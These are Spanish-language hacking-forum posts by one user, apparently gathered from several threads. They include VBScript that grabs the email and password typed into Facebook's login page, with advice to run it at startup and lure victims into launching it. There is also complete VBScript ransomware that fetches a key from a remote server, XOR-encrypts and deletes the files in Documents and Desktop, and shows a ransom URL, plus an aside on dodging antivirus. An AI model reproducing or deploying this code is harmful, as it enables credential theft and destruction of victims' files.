Hola aquí unas de mis travesuras con vbscript que me encanta y es un código para obtener lo escrito en un campo de texto de x pagina como ejemplo puse la pagina de facebook aquí el código

set IE = CreateObject("InternetExplorer.Application")
 
IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
   u = IE.document.GetElementById("email").value
   p = IE.document.GetElementById("pass").value
wend
msgbox u & "        " & p 
 
 

pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos  jajajaja

saludos Flamer y lastima que no se puede usar chrome en vbscript

usa algo creativo para que muerda el anzuelo y el mismo lo ejecute

salu2

Creo que eso era al principio se clasificaban los malwares como virus por que infectaban a los archivos para auto-ejecutarse y propagarse..

y los gusanos que no infectaban a los archivos sino que se multiplicaban por si solos y se valían del sistema para auto-ejecutarse...

pero como dije eso era al principio ahora en la actualidad es un revolvedero, se mezclaron los géneros, lo que si creo que se perdió son las bombas lógicas creo no se

saludos Flamer

Actualizado el código ya no hace uso del winrar y la desventaja sigue siendo que ocupa internet en la pc victima.

esa desventaja se pude arreglar pero no quiero que al analizar el ransomware vean la generación de la clave

saludos Flamer y me falta una encriptacion asimetrica mientras sera via http

hola amigos tengo este codigo en vbscript

x = (255^11) 
x = x - ((fix(x/5767))*5767)
msgbox x
 

el resultado deberia de ser 3960 pero en ves de eso me imprime 0 en el msgbox

anterior mente usaba el comando mod en la segunda linea pero me resultaba error así que use esa formula

y si en la primera linea remplazo el 11 por el 7 si me imprime el resultado correcto, pero yo quiero manejar números mas grandes que el 7 y el 11, y mi pregunta es si se puede en vbscript

saludos flamer

si les soy sincero no me creerían....el primero se me hizo el mas fácil jajajaja y al segundo no le encontraba ya que no me acordaba de la numeración octal casi nunca la e trabajado.

solo note los 30 y 31 que en hexadecimal son el 1 y el 0 con eso tuve para deducir que era binario

saludos

el primero decodificandolo esto me sale


voy por el segundo

en vbs hasta donde yo se no se pueden leer archivos binarios

y lo de la password no se por que en el servidor, ya que la clave es aleatoria

y si te refieres a eso de analizar los paquetes, si verán cuando envía la clave al servidor, pero si la recibe de el creo que también la verán no crees

saludos flamer

------------------EDITO------------
ya se leer binario en vbs, encontré un código en google, creo que corregiré el codigo

Hola amigos aqui con un pequeño código que se me ocurrió hace unos días como cuando no hay nada que hacer y solo te vienen ideas de como joder mas al mundo jajajaja

Y me bino ala mente de crear un código en VBScript(ya que me gusta mas por su dificultad de detección por los AV) tipo ransomware

bueno así que ni mas ni menos aquí el código

option explicit
dim shell,fso,document,f,password,desktop,id
 
set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")
 
document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")
 
set f = fso.getfolder(document)
id = f.drive.serialnumber 
 
password = Contrasena(id)
 
cifrar(document)
cifrar(desktop)
 
msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado" 
 
function Contrasena(id)
  dim objhttp
  Set objhttp = createobject("Microsoft.XmlHttp")
 
  objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
  objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  objhttp.send "id=" & id
 
  Contrasena = objhttp.responsetext
end function
 
function cifrar(ruta)
   dim carpeta,listfiles,listfolders,f
 
   set carpeta = fso.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
 
   for each f in listfiles
      archivo(f.path)
   next 
 
   for each f in listfolders
      cifrar(f.path)
   next   
end function
 
function archivo(path)
   dim file,largo,i,f,b,p,n
 
   set file = fso.getfile(path)
 
   largo=file.size 
 
   set f = file.OpenAsTextStream()
   redim bytes(largo)
 
   n = 1 
 
   for i=0 to largo - 1
      if n = len(password) then 
	     n = 1
	  else
         n = n + 1	  
      end if	  
	  p = asc(mid(password,n,1))
      b = asc(f.read(1)) xor p
	  bytes(i) = chr(b)
   next 
 
   f.close  
 
   set f = fso.createtextfile(file.path & ".crypt") 
 
   for n = 0 to i - 1
      f.write(bytes(n))
   next
 
   f.close 
   file.delete
end function
 
 

saludos Flamer

hola Telner bienvenido y te voy a hacer sincero aquí nadie te va a enseñar a ser hacker, el hacker lo llevas tu adentro.

En este mundo nadie lleva algún maestro(hasta donde yo se) te digo esto por que ami nadie me enseño nada(no me considero hacker), todo lo aprendí por mi mismo pero si hice unas preguntas por aquí y por aya que para eso son los foros como estos.

pero si quieres iniciarte en esto, se sincero contigo primero y pregúntate que quieres saber o que quieres aprender y para aprender primero esta google y el foro

saludos Flamer y empiesa a buscar por aquí y por aya lo que quieres saber y practica mucho que esto toma años